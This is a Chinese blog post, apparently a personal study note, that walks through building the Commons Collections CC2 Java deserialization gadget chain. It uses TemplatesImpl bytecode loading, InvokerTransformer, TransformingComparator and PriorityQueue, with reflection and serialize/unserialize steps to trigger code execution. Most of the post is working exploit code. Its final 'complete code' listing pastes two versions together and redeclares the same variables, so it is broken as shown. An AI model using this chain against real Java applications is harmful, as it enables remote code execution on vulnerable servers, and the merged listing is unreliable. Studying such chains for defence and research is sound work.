cc2

毛利_小五郎發表於2024-07-26

cc2

cc2其實就是cc3不用cc1結尾的方法,然後用cc4的結尾的方法來構造的

第一步

把cc3前半部分拿過來

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

然後把templates.newTransformer();換成InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});,但是我們差給invoketransformtransform賦值為templates

第二步

把cc4的後半部分來利用

先看Transform的構造器和compare函式所在原始碼

public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                              final Comparator<O> decorated) {
    this.decorated = decorated;
    this.transformer = transformer;
}

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

ok,我們先給transformer賦值為invokerTransformer

    TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer);

然後再找到呼叫compare函式的PriorityQueue類裡面來

   public PriorityQueue(Comparator<? super E> comparator) {
    this(DEFAULT_INITIAL_CAPACITY, comparator);
}
  public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
   
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

我們就這樣做PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
然後為了給他的transform裡面的引數賦值,我們下面這個來

    priorityQueue.add(templates);
    priorityQueue.add(templates);

除錯一下行不行

public boolean add(E e) {
    return offer(e);
}

add呼叫offer

 public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

要給add來兩次:第一次size為0,i為0。第二次size為2,i為1。
所以才能進入siftUp

private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x);
    else
        siftUpComparable(k, x);
}

k為1,x為templates,呼叫siftUpUsingComparator(k, x)

private void siftUpUsingComparator(int k, E x) {
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (comparator.compare(x, (E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = x;
}

成功執行

第三步

但是add會先促使呼叫compare,可以先讓 transformingComparator 的值成為一個無關的物件,在 add 完之後再用反射修改,

    TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
    PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
    priorityQueue.add(templates);
    priorityQueue.add(templates);

    Class c = transformingComparator.getClass();
    Field transformingField = c.getDeclaredField("transformer");
    transformingField.setAccessible(true);
    transformingField.set(transformingComparator, invokerTransformer);

    serialize(priorityQueue);
    unserialize("ser.bin");

完成執行

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());


    InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
    TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
    PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
    priorityQueue.add(templates);
    priorityQueue.add(templates);

    Class c = transformingComparator.getClass();
    Field transformingField = c.getDeclaredField("transformer");
    transformingField.setAccessible(true);
    transformingField.set(transformingComparator, invokerTransformer);

    serialize(priorityQueue);
    unserialize("ser.bin");

完整程式碼

public class cc2 {
public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());


    InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
    TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer);
    PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
    priorityQueue.add(templates);
    priorityQueue.add(templates);//第一步


    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());


    InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
    TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
    PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
    priorityQueue.add(templates);
    priorityQueue.add(templates);

    Class c = transformingComparator.getClass();
    Field transformingField = c.getDeclaredField("transformer");
    transformingField.setAccessible(true);
    transformingField.set(transformingComparator, invokerTransformer);

    serialize(priorityQueue);
    unserialize("ser.bin");//第二步
}
public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}
}